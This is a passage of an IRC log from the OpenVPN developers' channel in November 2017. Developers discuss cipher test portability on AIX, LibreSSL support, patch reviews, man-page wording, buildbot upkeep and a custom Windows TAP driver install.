DES-EDE3-CFB1... 13:15 <@cron2> FAILED 13:15 <@cron2> "should it do that"? 13:16 <@cron2> all other ciphers pass, as does t_cltsrv.sh... 13:28 <@cron2> "on the other AIX system" it doesn't even try CFB1 13:50 <@dazo> cron2: t_lpback.sh does this: CIPHERS=$(echo "$CIPHERS" | egrep -v '^(DES-EDE3-CFB1|DES-CFB1|RC5-)' ) 13:51 <@dazo> so ... no, it shouldn't test DES-EDE3-CFB1 ... 13:51 <@dazo> might be we need to switch egrep to grep -Ev 13:53 <@cron2> ah 13:54 <@cron2> one system has gnu grep in the path, the other has not 13:55 <@cron2> thanks for spotting this :-) - I'll come back to fixing this when I have all the other warts fixed, like t_client printing extra newlines plus "-n" 14:03 <@dazo> portability is such a nice feature :-P 14:14 <@cron2> shell script portability is *hard* - compared to that, C is a breeze :-) 17:57 -!- jpwhiting_ is now known as jpwhiting 23:17 <@plaisthos> cron2: no idea what happened there 23:17 <@plaisthos> but good that you made the test happy --- Day changed Tue Nov 21 2017 00:56 * cron2 won't make a meeting tomorrow (conflicts with a meeting with a supplier) 02:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 02:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:39 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:43 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds] 15:18 <@cron2> ... actually that appointment was cancelled, so I *could* make a meeting (but have no topics) 17:52 < tincantech> I am not sure about this but it feels like the contrib/OCSP_check script may have become obsolete : https://forums.openvpn.net/viewtopic.php?f=16&t=25307 17:52 <@vpnHelper> Title: Signer certificate for OCSP responder - OpenVPN Support Forum (at forums.openvpn.net) --- Day changed Wed Nov 22 2017 04:25 <@syzzer> hm, this weekly meeting this is already stopping it seems? 04:50 <@cron2> nobody has an agenda, mattock is back to babysitting duty, ordex is on vacation (?)... and I have a pile of patch backlog to work through :-) 04:50 <@cron2> we could have a quick discussion about libressl... 04:51 <@cron2> (and I need to brag about having an AIX7 root VM now, where I can give out accounts now to people who love complications) 04:52 <@cron2> ((it can't run a buildslave, for the trivial reason that AIX only has tap, the community VPN is tun, so the buildmaster won't be reachable... and since AIX is not truly a supported platforms, having the buildslave might be overdoing things a bit)) 05:31 <@syzzer> I'll skip on the AIX pain :p 05:32 * cron2 tries a surprised face 06:05 <@mattock> syzzer, cron2: let's have a meeting today about libressl 06:05 <@mattock> I will prepare the agenda 06:05 <@cron2> mattock: I might be timezone challenged again, but wasn't meeting time like an hour ago? 06:07 <@mattock> oh damn yers 06:08 <@mattock> what was the new time again? 06:08 <@mattock> I forgot all about it 06:09 <@mattock> I was still assuming the original schedule (19:00 CET) 06:16 <@cron2> 11:30-12:30 local time here, so that's IIRC 12:30-13:30 your time 06:17 <@cron2> (well, right 5 minutes after syzzer's "11:25 <@syzzer> hm, this weekly meeting" comment) 06:17 <@cron2> but anyway, let's aim for getting this back in schedule next week - topics: libressl, vagrant/openvpn-test-server 06:17 <@cron2> patchworks and "how to set state" 07:38 <@mattock> agreed 07:38 <@mattock> I will modify my calendar accordingly 07:42 <@mattock> done 08:14 < tincantech> FYI : firefox on linux is now M$ edge 08:56 <@ecrist> tincantech: what do you mean? 09:06 < tincantech> ecrist: i just updated linux mint (with the system updater) and firefox 57 quantum is designed to look exactly like M$ edge (and themes don't actually change the layout only the colours etc) so Firefox is "edge" to the eyeballs 09:12 <@ecrist> Ah. I haven't used edge AFAIK 09:18 < tincantech> i can't imagine why mozilla would choose to ape edge .. 09:18 < tincantech> some kind of dig at M$ 13:25 <@cron2> syzzer. what happened to the "we want to know which bits of the code have openssl 1.0 compat #ifdefs" argument? 13:25 <@cron2> (which I find something reasonable to consider) 14:31 <@syzzer> cron2: that is a discussion I do want to have, but this fixes something we broke in the 2.4 branch 14:33 <@syzzer> kind of fighting myself on this one, because I don't like the approach libressl took, but would like to keep the openbsd people on board... 15:31 <@cron2> syzzer: yeah, that's about where I stand here - "I could care less for LibreSSL, but I want this to work on OpenBSD" 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Nov 23 2017 01:17 <@vpnHelper> RSS Update - gitrepo: Fix build with LibreSSL <https://github.com/OpenVPN/openvpn/commit/88a827f25cb4a79f06597ca438f8f04d37a03d4e> 03:38 <@syzzer> cron2, dazo: how are your schedules? any chance one of you can process the create_temp_file patch set that ordex acked? my remaining tls-crypt-v2 patches are blocking on these to be applied, so I can rebase and send the set out. 03:38 <@syzzer> That's this one: https://patchwork.openvpn.net/project/openvpn2/list/?series=25 03:38 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 03:42 <@cron2> syzzer: I'll see that I get something done today/tonight 03:42 <@cron2> there's quite a heap of "long threads with many patch versions that came to a conclusion suddenly" :-) 03:43 <@syzzer> yeah, I know... Would be great if you manage to wrestle through some of them! 04:03 <@cron2> do not tempt me... I need to get some ISO27001 stuff done. Today! ... and I do not feel like that anyway... 07:02 < tincantech> what happens to --shaper when p2p mode is removed ? 07:07 <@cron2> who knows? 07:07 <@cron2> nobody is planning to remove p2p mode... 07:15 < tincantech> openvpn.8 p2p -- .. is deprecated and will be removed in OpenVPN 2.5 07:17 < tincantech> seems like a decision needs to be made about shaper and a note added to the manual 07:23 <@syzzer> tincantech: uhm, I can't find anything like that in openvpn.8? 07:24 <@syzzer> I can only find something about --ifconfig-pool-lineair being deprecated 07:26 <@cron2> and key-method 1 07:33 < tincantech> huh .. grammer .. so the meaning of that sentance is that --ifconfig-pool-linear is depracated *not* p2p 07:34 <@cron2> and it's not "p2p" anyway but "topology p2p" (which *should* be deprecated, but isn't) 07:37 < tincantech> i know it's topology .. anyway that statement is a completely incorrect grammer 07:38 < tincantech> the way it reads it implies --topology p2p is deprecated 07:39 < tincantech> i will submit a patch for review 07:47 <@cron2> the grammar is fine 07:48 <@cron2> except that I'd add a comma before "which" in the "This mode is ..." sentence 07:48 <@cron2> having a competent native speaker rewrite all of openvpn.8 would be good (but said speaker would need to understand what the existing docs are trying to say, first) 07:57 < tincantech> the sentance clearly implies the p2p is deprecated 07:57 <@cron2> uh... no? 07:58 < tincantech> I do understand that it can be difficult for non-native english speakers to get it right, i have sent dazo one email pointing out a whopper (privately) 07:59 < tincantech> of course the other problem is that as devs you all undertand what is says perfectly but you miss why it is grammatically wrong 08:00 <@cron2> so why is it wrong? 08:01 <@cron2> (it's not like I know everything inside openvpn.8, so I have to read it every time) 08:02 < tincantech> the way the paragraph is written clearly implies that p2p is deprecated not pool-linear .. it is english grammer which is different (i know) to germen especially 08:03 <@cron2> the "which" relates the "deprecated" part to the ifconfig-pool-linear directive 08:03 < tincantech> it is like in french the noun comes before the adjective but in english it is the other way round .. eng : red lorry french : lorry red 08:03 < tincantech> cron2: i am sorry but to a native english speaker the sentance implies that p2p is deprecated 08:04 <@cron2> make that "one", and I would agree with you 08:04 <@cron2> (native english, british, american or australian english speaker, btw?) 08:04 < tincantech> well yeah ;) which one 08:12 < tincantech> perhaps this will help you understand what i mean read the last sentance like this : "This mode is functionally equivalent to the --ifconfig-pool-linear directive, is deprecated and will be removed in OpenVPN 2.5" (the sentance is constructed as a list of attributes pertinent to p2p ) 08:34 <@syzzer> tincantech: Dutch works the same as English here, but I still read it as '--ifconfig-pool-linear is deprected'. That said, I do get how this sentence can be parsed as "This mode [..] is deprecated and will be removed in OpenVPN 2.5". So if you can rephrase this in a less ambiguous way, please do send a patch :) 08:44 < tincantech> syzzer: sure thing 08:50 < tincantech> I was thinking 'as a rule of thumb', it would be more precise when including a secondary directive to write (eg) p2p -- bla bla .. --ifconfig-pool-linear(DEPRECATED) .. bla bla etc (and likewise for others, if there are any) 08:57 <@syzzer> sounds workable, but just send the patch so we can see the end result :) 08:58 <@syzzer> in general, we should probably just about long (combined) sentences. short ones are much easier to parse. 08:58 <@syzzer> aargh, s/about/avoid/ 09:06 < tincantech> agreed :) 11:45 < ssbarnea> is it normal to get "PWM 5063 A security violation has occurred. Please try again later." when I try to use register option on the issue tracker? https://community.openvpn.net/register 11:52 <@syzzer> ssbarnea: probably the spam detection being overzealous. mattock, can you check? 11:52 < ssbarnea> syzzer: thanks for helping. 11:55 < ssbarnea> i was trying to see if there is a was to overcome the missing pre-up issue as I want to generate some OTP credentials before the trying to connect. 11:57 < tincantech> lol 12:12 < ssbarnea> to be clear: account registration is fully broken on Safari, but using Chrome, it worked. 12:20 < ssbarnea> so I ended up creating my first OpenVPN bug/feature request: https://community.openvpn.net/openvpn/ticket/960#ticket -- i am quite curious how others will see it. Not even hard to implement, the big question would be getting it approved :) 12:20 <@vpnHelper> Title: #960 (auth-user-pass should execute file if exec bit is set) – OpenVPN Community (at community.openvpn.net) 12:24 <@vpnHelper> RSS Update - tickets: #960: auth-user-pass should execute file if exec bit is set <https://community.openvpn.net/openvpn/ticket/960> 18:54 < tincantech> JFC : But, a help menu option in the GUI may raise expectations of a proper documentation 18:57 < tincantech> apothetic .. 19:02 < tincantech> apa*^ 19:13 < CRCinAU> so the new version of keepassxc has inbuilt SSH_AGENT support. 19:13 < CRCinAU> its a f'kin win for SSH key management :) 19:14 < tincantech> If i respond to selva it will be rude .. so i wqill not .. --- Day changed Fri Nov 24 2017 01:53 <@cron2> tincantech: feel free to provide documentation, and not just demands 02:45 <@mattock> tincantech: if you want to help improve openvpn-gui documentation then improving on README.md would be a good start I think: https://github.com/OpenVPN/openvpn-gui 02:45 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-gui: OpenVPN GUI is a graphical frontend for OpenVPN running on Windows XP / Vista / 7 / 8. It creates an icon in the notification area from which you can control OpenVPN to start/stop your VPN tunnels, view the log and do other useful things. (at github.com) 02:45 <@mattock> it covers quite a few aspects of openvpn-gui, but is currently not suitable for the common man 02:46 <@mattock> there is also this Trac page: https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI 02:46 <@vpnHelper> Title: OpenVPN-GUI – OpenVPN Community (at community.openvpn.net) 02:47 <@mattock> it seems to be in need of updating, but it's the best user documentation we have atm 05:15 <@cron2> as a side note: buildbot is nicely green these days :-) (except for ubuntu1204, debian85 and opensolaris10, where the issues are not related to our code) 06:14 <@cron2> syzzer: are you around? 06:35 <@syzzer> cron2: yes 06:35 <@cron2> good 06:35 <@cron2> tls-crypt-v2 is 2.4 or master? 06:35 <@syzzer> master 06:36 <@syzzer> (but I will backport it to -NL 2.4, most likely) 06:37 <@cron2> one day someone should understand waht this "subdir-objects" warning from configure means and how to fix it 06:39 <@syzzer> yup 06:42 <@cron2> mmmh, vpn-helper is sleeping again 06:43 <@vpnHelper> RSS Update - gitrepo: create_temp_file/gen_path: prevent memory leak if gc == NULL <https://github.com/OpenVPN/openvpn/commit/bd89ebd6a82856c7939b4ade35d14d0178a96986> || Don't throw fatal errors from create_temp_file() <https://github.com/OpenVPN/openvpn/commit/3e0fd2b0471cf4e53959902ca10d88db7a1ef916> || pf: reject client if PF plugin is configured, but init fails <https://github.com/OpenVPN/openvpn/commit/492e42d35f141346fe21b3e9 06:44 <@syzzer> there we go :) 06:44 <@syzzer> \o/ 06:52 <@cron2> ok, next one - P_DATA_V2. Strictly speaking this is a "server optimization feature", which is "master"... objections? 06:53 <@syzzer> I'd vote for 2.4 too, so that we can phase out P_DATA_V1 sooner 06:53 <@syzzer> but I could like with "master" 06:59 <@cron2> ugh 06:59 <@cron2> strictly speaking I'm not sure the v2 patch is right 06:59 <@syzzer> uh-oh, how so? 07:00 <@cron2> you enable tls_multi->use_peer_id = true in prepare_push_reply() for any client that sends IV_PROTO=<whatever> 07:00 <@cron2> but according to specs, it needs to be IV_PROTO=2 or higher 07:01 <@cron2> (no client actually sends IV_PROTO=1 or IV_PROTO=nonsense, but still, I think the "use_peer_id = true" should go inside the "if { push_option_fmt() } block to be consistent 07:01 <@syzzer> gah, you're right 07:01 <@syzzer> this does work, but it's strill wrong 07:02 <@cron2> yep 07:02 <@syzzer> you want a v3, or is my confirmation that this belong inside the iff sufficient ? 07:02 <@syzzer> need, to run for a meeting now, back in 1hr 07:03 <@cron2> I think I want a v3 "code change" 07:03 <@cron2> in the meantime my t_server test run can complete :) 07:13 <@cron2> someone from openvpn tech around? 07:49 <@mattock> yes 08:00 <@cron2> mattock: you know whether James or "the company" had to sign something wrt export regulations for publishing the iOS client? 08:00 <@cron2> crypto export, that is 08:02 <@syzzer> cron2: v3 on the list :) 08:06 <@mattock> cron2: I do not know 08:07 <@mattock> I can send email to him and CC you 08:07 <@mattock> unless you tried that already :) 08:07 <@cron2> didn't want to bother James if someone here knows... do you know when ordex returns from vacation? 08:13 <@mattock> I can check 08:13 <@mattock> 26th (sunday) 08:29 <@cron2> ok, will ask ordex then, on sun/mon 08:29 <@vpnHelper> RSS Update - gitrepo: Use P_DATA_V2 for server->client packets too <https://github.com/OpenVPN/openvpn/commit/3b9cce657b0ba876c56ee6f14664a8a77f5b82d5> 08:29 <@cron2> he should know 08:37 <@mattock> cron2: did you manage to upload your freebsd image to the Vagrant site? 08:37 <@mattock> I'm ready to fork mattock/openvpn-vagrant to OpenVPN/openvpn-vagrant 08:38 <@mattock> but having the correct image in the public repository would be nice touch 08:38 <@mattock> otherwise people will start complaining about FreeBSD box not being found 09:07 <@cron2> mattock: vagrant up freebsd-11 should do all :) 09:08 <@cron2> the box is called openvpn/FreeBSD-11 or something 09:21 <@mattock> cron2: ok, great! 09:21 <@mattock> I will try it out early next week and fork openvpn-vagrant under OpenVPN 09:23 <@cron2> cool 09:25 < tincantech> cron2: don't know what happened to buildbot debian85 .. it lost the connection to the master or something and then stopped, i did not see a "buildbot was lost" email so did not know. It is up again now --- Day changed Sat Nov 25 2017 02:54 <@cron2> syzzer: what about 87vai5kj4z.fsf@ritchie.wxcvbn.org? "0001-Detect-if-SSL_CTX_get0_certificate-is-available.patch" 02:55 <@cron2> (jca likes to send new patches as attachment right in the middle of an ongoing mail thread, so patchwork isn't picking them up) 05:37 <@ordex> cron2: you can tell me .. I periodically check the chat anyway :) 05:50 <@cron2> ordex: o hai :-) - so, do you have any idea about crypto export regulation contracts OpenVPN Tech had to sign wrt iOS and crypto software? 08:44 < cthuluh> cron2: I can send them inline if it helps 10:36 <@ordex> cron2: I know they did send some documents in the past, when the first iOS app was submitted for review. I was told there has never been any need to send any document anymore, and this turned to be true as I can submit apps without providing more supporting documents. So I don't really know what was exactly sent at that time. Other people in the company have handled that 12:03 <@cron2> cthuluh: git send-email :-) - one of the issues is "subject tagging", if you send a patch in a thread that has "Subject: [PATCH applied]" patchwork will not pick it up, and neither will all possible reviewers 12:03 <@cron2> ordex: I see, so I'll have to ask James, after all 23:38 <@ordex> cron2: did you find out why the patchwork header is not working when you apply patches? 23:39 <@ordex> I see the DATA_V2 patch (v3) has not been accepted. I am setting it manually 23:41 <@ordex> ok, I guess we haven't found a solution yet, because also the other patches by Steffan are not tagged as "accepted" --- Day changed Sun Nov 26 2017 01:48 <@ordex> cron2: did you ever have a chance to look at https://patchwork.openvpn.net/patch/10/ ? :] that's good candidate for 2.5 01:48 <@vpnHelper> Title: [Openvpn-devel] ifconfig-ipv6(-push): allow using hostnames - Patchwork (at patchwork.openvpn.net) 01:48 <@ordex> (it may not apply on current master as the patch is a bit old) 01:49 <@ordex> bleah, the code style is still the old one .... cron2 I'll send v2 03:55 <@cron2> ordex: wrt patchwork and auto-closing things - I hope mattock will look into that. For the time being, manual closing (which I neglected for the last few) 03:55 <@cron2> wrt patch /10 -> yes, v2 would be good :-) 04:06 <@syzzer> cron2: iiuc, the get_certificate() patch is not needed to fix builds with libressl, so I postponed review/acking that to after the 'what will we do with libressl' dicussion at the community meeting 04:06 <@cron2> syzzer: makes sense. I was just wondering whether you had seen it :) 04:06 <@syzzer> I got it marked in my inbox though, so I don't forget about it 04:44 <@ordex> cron2: then I hope you don't mind if I 'accept' some patches on patchwork when I see they have been accepted on the mailing list ? 04:47 <@cron2> ordex: did I miss one? I thought I had them all covered now 04:47 <@cron2> (but yes, by all means, if I overlook one, just put it to whatever it is - superceded or accepted) 04:50 <@ordex> accepted in that case, okyz :) 09:06 <@ordex> syzzer: "screams bloody murder" :D what happened to your screen at that point? did it explode? :P 09:08 <@ordex> but that's a nice way of taking care of the compat code 09:08 <@ordex> although I wondeR: is it possible that OPENSSL_VERSION is defined while HAVE_OPENSSL_VERSION is not ? 09:09 <@syzzer> ordex: probably not, those changed at the same time 09:10 <@syzzer> would you like to see them both inside the same define check? 09:10 <@ordex> I was thinking something like that, but I am not sure it would be any cleaner 09:12 <@ordex> because the if condition would probably not be meaningful for both defines, unless we use the version, but I think we don't really want to do that 09:12 <@ordex> so I guess your approach is probably good as is 09:12 <@syzzer> this one is a bit more lines, but it is simple :) 09:15 <@cron2> *mumble* seems I need to fix up a new buildbot that uses 1.1 09:25 <@syzzer> hm, the includes patch needs a v2, my own buildbots are screaming at me now... 09:29 <@ordex> the day that buildbot will be able to fire guns we will all be dead :-P 09:32 <@syzzer> wait for the bots to finish before I send the v2... 11:27 <@cron2> freebsd 11 has openssl-devel now, which is 1.1.0g 11:28 <@cron2> and it provides a pkgconf file so our configure will nicely pick that one up... 11:40 <@syzzer> other option could be the new fedora 11:51 <@cron2> yeah, but I can't do this linux thingie :) 18:24 < CRCinAU> so what's with all this retarded conversation about 'echo' stuff for message boxes? 18:25 < CRCinAU> just stupid basic programming mistakes. 18:25 < CRCinAU> like the multiple 'echo' statements.... that's great. when the fuck do you know when the last 'echo' line is to know when its safe to show the message box? 18:26 < CRCinAU> or do you wait for X seconds... or only during a certain negotiation... 18:26 < CRCinAU> and what happened to basic conventions like: echo "this is line 1\nthis is line 2\nthis is line 3\n\n" --- Day changed Mon Nov 27 2017 00:44 <@cron2> CRCinAU: last line is when msg-title arrives, clearly defined already :) 00:44 <@cron2> are you trolling again for a ban? 00:49 <@ordex> lol 01:10 < CRCinAU> nah - just seems like a dodgy spec :P 01:10 < CRCinAU> What do you do with a partial message? 01:12 <@ordex> CRCinAU: you can make a proposal for a better format if you think this one if wrong 01:13 < CRCinAU> the fault I think is asking openvpn to piece together the message. 01:13 < CRCinAU> If you're going to send one from some external script that openvpn uses, get your message together in your script - out of the core, and blat it in one command to openvpn. 01:14 <@ordex> (I think it's the GUI handling that, not the core) 01:14 <@ordex> but i haven't read the thread 01:14 < CRCinAU> still has to go through the message handling... 01:15 < CRCinAU> something has to piece together multiple random chunks of message 01:15 <@ordex> isn't the gui that just takes one chunk after the other and print it ? 01:15 <@ordex> without any further mangling, I guess 01:16 < CRCinAU> but in any type of flowing language, we 01:16 < CRCinAU> shouldnt be 01:16 < CRCinAU> randomly putting together text to 01:16 < CRCinAU> get someone else to figure out 01:16 < CRCinAU> when I've 01:16 < CRCinAU> done. 01:16 < CRCinAU> --- EOF 01:16 <@ordex> :D 01:17 <@ordex> then why don't you propose a concrete alternative, if you think there is a better way to handle that? 01:17 < CRCinAU> cos we're designing by committee 01:17 < CRCinAU> meaning we'll end up with some abomination for the sake of compromise :p 01:18 <@ordex> ah it's being designed now 01:18 <@ordex> sorry, I thought it was already in 01:18 <@ordex> well, still this is the time for proposing an alternative, no ? 01:19 < CRCinAU> nah - its in the RFC stage I guess 01:19 <@ordex> I haven't seen any patch yet 01:19 <@ordex> and even then 01:19 <@ordex> I am not sure what would prevent you from objecting if you have a better proposal 01:23 < CRCinAU> There - sent ;) 01:25 <@ordex> :) 01:25 < CRCinAU> not sure if its gone through yet, but its sent at least 01:25 <@ordex> if they are moving along these lines, it means there is a reason behind. the only way to improve things is to comment and argue and see what comes out. complaining in a different channel will just lead to nowhere 01:25 <@ordex> maybe it needs some time 01:29 < CRCinAU> tbh, I feel a single command with formatting as \n for new line etc is a much better idea 01:30 < CRCinAU> rather than punting parts of a message to openvpn to try and get it to do formatting. 01:49 <@ordex> landed 02:32 <@cron2> CRCinAU: seems you should have actually *read* the discussion first. There is a lot of length limits in openvpn option handling and management interaction - you just can't stuff in an arbitrary-length message. This is why continuation lines have been proposed, so you can send something longer than approx. 240 bytes 03:23 <@cron2> cool, here we go :-) 03:23 <@cron2> 2017-11-27 10:21:14+0100 [Broker,client] Connected to 10.177.36.101:9989; slave is ready 03:23 <@cron2> so, we have an 11.1 + 1.1.0 bot now 03:24 <@cron2> mattock: can you send a build its way? (I'm at work, no access to the buildbot "force build" page) 03:24 <@mattock> yep 03:25 <@mattock> triggered the default build (no configure flags) 03:25 <@mattock> do you want all of them or is that enough? 03:42 <@cron2> that should be enough to see if something is fundamentally broken :) 03:42 <@cron2> it seems to be happy 03:43 <@cron2> well 03:43 <@cron2> ah 03:45 <@cron2> cp: /home/buildbot/t_client.rc: No such file or directory 03:45 <@cron2> but that's for me to fix, buildbot otherwise happily tested everything 04:04 < CRCinAU> cron2: 120 chars is a lot for a message box 04:05 < CRCinAU> but considering token lengths etc - maybe the limit on push etc should be addressed instead. 04:07 < CRCinAU> I know I had to limit the token length for the OTP stuff due to the same limit.... 04:07 < CRCinAU> so it'd be good to fix the actual root cause instead of add more hacks :) 04:27 <@cron2> right now, this is a question on what the GUI authors want to do, in the existing set of servers and clients. If you need a full upgrade of everything, it will take much longer to make this a useful thing 04:28 < CRCinAU> well, now there's talk of duplicate message supression..... message history..... and I can see that probably growing :P 05:33 <@dazo> tincantech: (cron2, syzzer) ... regarding p2p being deprecated. This is all mentioned under the --topology section. So --topology p2p is deprecated, not --mode p2p ... that's an important distinction. 05:34 <@dazo> oh wait 05:34 <@dazo> this section is surely confusing 05:34 <@dazo> yeah, --toplogy p2p replaces --ifconfig-pool-linear 05:35 <@dazo> and --ifconfig-pool-linear will be deprecated and removed 05:55 <@cron2> has noticed that the buildslave named slave-tincan-debian-85-amd64 went away 05:55 <@cron2> mail cc'ed to tincanteksup@gmail.com 06:34 <@ordex> btw I have patches to remove ENABLE_CRYPTO ready (for master), but I am holding them back as I think they might just create noise in the current queue. but if any of you think I should send them .. I can still do it 06:34 <@ordex> (actually might be a good idea because the patches queue will always be cramped :P) 06:39 <@dazo> ordex: I'd send them ... and we just need to ensure mattock gets the build configs updated to not test building with --disable-crypto 06:40 <@ordex> yap 06:40 <@ordex> also travis must be changed 06:40 <@ordex> now that I think about that :) 06:40 <@dazo> ahh, that's chipstine/syzzer :-P 07:01 < tincantech> cron2: debian85 buildbot VPN IP changed so openvpn fatal exit (blame ecrist ?) -- mail not received (blame google ?) -- restarted now (back to original vpn ip) 07:02 < tincantech> dazo: it sure is a confused man page if you also thought --topology p2p was deprecated ! 07:04 <@dazo> tincantech: yeah :) Need to rephrase that .... I'm quite swamped at the moment (working hard on the brand new OpenVPN 3 based Linux client) ... so if you have chance to submit a patch, I'd be grateful 07:05 < tincantech> I said I would :) 07:06 < tincantech> ordex: what ever happened to your great new packet-filter implementation (the easy to use one not ipv6) 07:07 <@dazo> tincantech: thx! 07:09 <@cron2> tincantech: why would openvpn do a fatal exit if its VPN IP changes? could it be running an old version of openvpn? 07:27 < tincantech> cron2: --user/--group drops priv 07:28 < tincantech> more questionable is "why" did the server decide to send me a different ip and then revert back .. ? 07:29 < tincantech> cron2: this is the sort of thing that spawned the "do not close/open tap adapter for peer id change" 07:36 <@ecrist> tincantech: blame me for what? 07:36 <@ecrist> I don't control the build systems 07:37 < tincantech> ecrist: that was why i said ecrist ? .. but I thought it was your server .. anyway, somebody was mucking about withit .. 08:13 <@cron2> tincantech: indeed, peer ip change should not cause a restart, so I assume you have an old openvpn version running 08:13 <@cron2> (we had a few bugs there) 08:14 <@cron2> and mattock added a new build slave config today, so maybe that caused a restart of the server 08:45 < tincantech> cron2: I'll wait a while because something else has happened now .. openvpn bbslave.conf exitted with *no error* .. last line in the log is "Mon Nov 27 13:59:54 2017 us=227619 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-RSA-AES256-GCM-SHA384, 1024 bit RSA" and then "killed" apparently .. the VM seems to be having a few issues of it's own .. 08:45 < tincantech> apt-update is failing with xz method 08:52 < tincantech> "three finger salute" seems to have resolved it .. 09:33 <@cron2> "killed" hints at "out of memory" 09:36 <@dazo> dmesg would reveal if the oom-killer was in action 09:38 < tincantech> yeah .. i think oom was the issue (seems to happen fairly regular to debian tho not with any other distro i have VMs for) 09:39 <@ordex> tincantech: hidden somewhere 09:39 <@ordex> I should start dumping all my patches to the ml I think 09:43 < tincantech> ordex: i would really like to see your pf with the easy to use directory instead of the plugin :) but I was just giving you a wee nudge in the ribs 09:44 <@ordex> eheh thanks 09:45 < tincantech> out of curiosity, if you wanted to test for a file in "./openvpn-master", which would be the one you would choose ? i was thinking "ChangeLog" would always be there .. 09:47 < jpwhiting> tincantech: my .sys and .cat are both taptodyl 09:48 <@ordex> mh dunno 09:48 < jpwhiting> do I need to rebuild tapinstall and/or openvpn for tapinstall to create the network device after installing the driver ? 09:48 < jpwhiting> and for openvpn to use it, or is --dev-node TODYL all I need in the openvpn side ? 09:49 < jpwhiting> tapinstall isn't reporting any errors, but also isn't creating a new device like when I use tapinstall tap0901 09:50 < tincantech> jpwhiting: you have made some changes to the source which i don't understand (why you need them or what you have actually done) but windows TAP install suffers from problems already without you adding to the problems .. does it work if you install from the "official" install .exe ? 09:52 < jpwhiting> no, that's what I'm using 09:52 < jpwhiting> I modified the driver to use one with our own id (TODYL) as described in the .inf files generated at build time 09:52 < tincantech> but you have renamed the files manually (as i recall) 09:52 < jpwhiting> no, I didn't rename any files 09:52 < jpwhiting> the build system generated tapTODYL.sys and tapTODYL.cat 09:53 < jpwhiting> then we signed both to get tapinstall to not complain 09:53 < jpwhiting> so it says it worked, but didn't create any network device 09:54 < tincantech> remind me .. what is tapTODYL.* .. why is it that name ? 09:55 < tincantech> it should be "tap0901.sys" .. no ? 10:05 < tincantech> jpwhiting: perhaps you also need to modify the tapinstall.bat ? 10:06 < jpwhiting> tapinstall is an exe 10:06 < jpwhiting> I renamed it using the instructions in the OemVista.inf file 10:06 < jpwhiting> so we can use our own driver that won't be "already used" bu other vpn software 10:06 < jpwhiting> s/driver/driver and adapter/ 10:07 < jpwhiting> if I just need to rebuild tapinstall that's fine, I just wasn't aware I needed to do that 10:08 < tincantech> see also the tapinstall.bat <-- 10:08 < tincantech> whatever it is called 13:07 < jpwhiting> tincantech: there's no .bat file in tap-windows6 repo at all 13:07 < jpwhiting> there's tapinstall.exe that gets built I guess (I'm using the one from openvpn installer) 13:13 < tincantech> jpwhiting: there is a addtap.bat file .. but i don't know what problem you are having with your installation .. especially now that you have changed the source files. 13:16 < jpwhiting> where is the addtap.bat file ? in my git clone of tap-windows6 find . -name *.bat is giving nothing 13:58 < tincantech> jpwhiting: it must be something in the build process that adds the add/deltap.bat files. 13:58 < tincantech> jpwhiting: reading https://github.com/OpenVPN/tap-windows6/blob/master/src/OemVista.inf.in seems to include instructions .. i presume you are using those instructions .. 13:58 <@vpnHelper> Title: tap-windows6/OemVista.inf.in at master · OpenVPN/tap-windows6 · GitHub (at github.com) 13:59 < jpwhiting> tincantech: yep, I'm using those instructions, I probably missed something though 13:59 < jpwhiting> plus it's fun to send files back and forth to the guy paying the bills that doesn't trust me with his cert... :) 14:00 < jpwhiting> so I built locally, sent a zip of .sys and .cat files, he signed them there and sent back and I try here 14:00 < jpwhiting> meh, I'll convince him there's no way I can get it to work unless I build the whole bit on his machine with the cert and move on 14:00 < tincantech> you want to pay me some of that ? 14:01 < jpwhiting> :) 14:01 < jpwhiting> or I can convince him to hire you to do this task 14:01 < jpwhiting> :) 14:01 < tincantech> hehe :) 14:02 < tincantech> I haven't actually tried customising that part of it myself and I have never heard from anyone (except you) who has tried and succeeded or failed 14:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:36 < tincantech> The windows Tap driver is a real pain .. even I have had it fail to install on Win8 twice! (and no way to debug it) even re-install failed .. so far on win10 I have been able to uninstall&reinstall openvpn many times BUT my windows machine has not been updated since prior to the "Creators" update and I am now too scared to try 14:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Tue Nov 28 2017 01:45 <@ordex> anybody knows if this is bash or sh: VAR=${VAR:-0} ? 01:45 <@ordex> I have been sloppy in learning the differences :P my world is just bash 03:16 <@cron2> what is wrong with these people... 03:16 <@syzzer> ordex: that also works in /bin/sh 03:16 <@syzzer> := does not 03:16 <@syzzer> (which in my world means 'dash') 03:17 <@syzzer> but cron2, he noted your point! can't you help him now? 03:22 <@ordex> lol 03:30 <@dazo> lets just wipe /bin/sh from this world and let /bin/bash be the king ......... 03:30 * dazo ducks 03:32 <@ordex> lol 03:32 <@ordex> cron2: give him your skype id, come on 03:32 <@ordex> :D 03:32 <@cron2> dazo: isn't bash totally last century, and you should do everything with pythonshell and dbus now? 03:32 <@ordex> it must be fun :P 03:32 <@ordex> just use QT 03:33 <@ordex> :S 05:06 <@dazo> :-P 05:06 <@dazo> cron2: yeah, that's comming .... just in beta these days ;-) 05:06 <@dazo> lol @ security ML discussion 06:32 < tincantech> security ML is private right ? 07:33 <@syzzer> tincantech: yup - but this discussion had nothing to do with security. Just some ignorant guy asking "people pay me to build X, but I have no clue about it. Please do my work now." 08:03 <@plaisthos> tincantech: I am also missing the fun :P 08:07 < tincantech> syzzer: how can somebody *that* stupid have access to a private ML ? 08:08 < tincantech> plaisthos: (J.K.B. right) thay are so mean :( 08:13 <@ordex> tincantech: he wrote *to* the list 08:14 <@ordex> cron2: lol i just replied to the "tap" guy with my own vision of 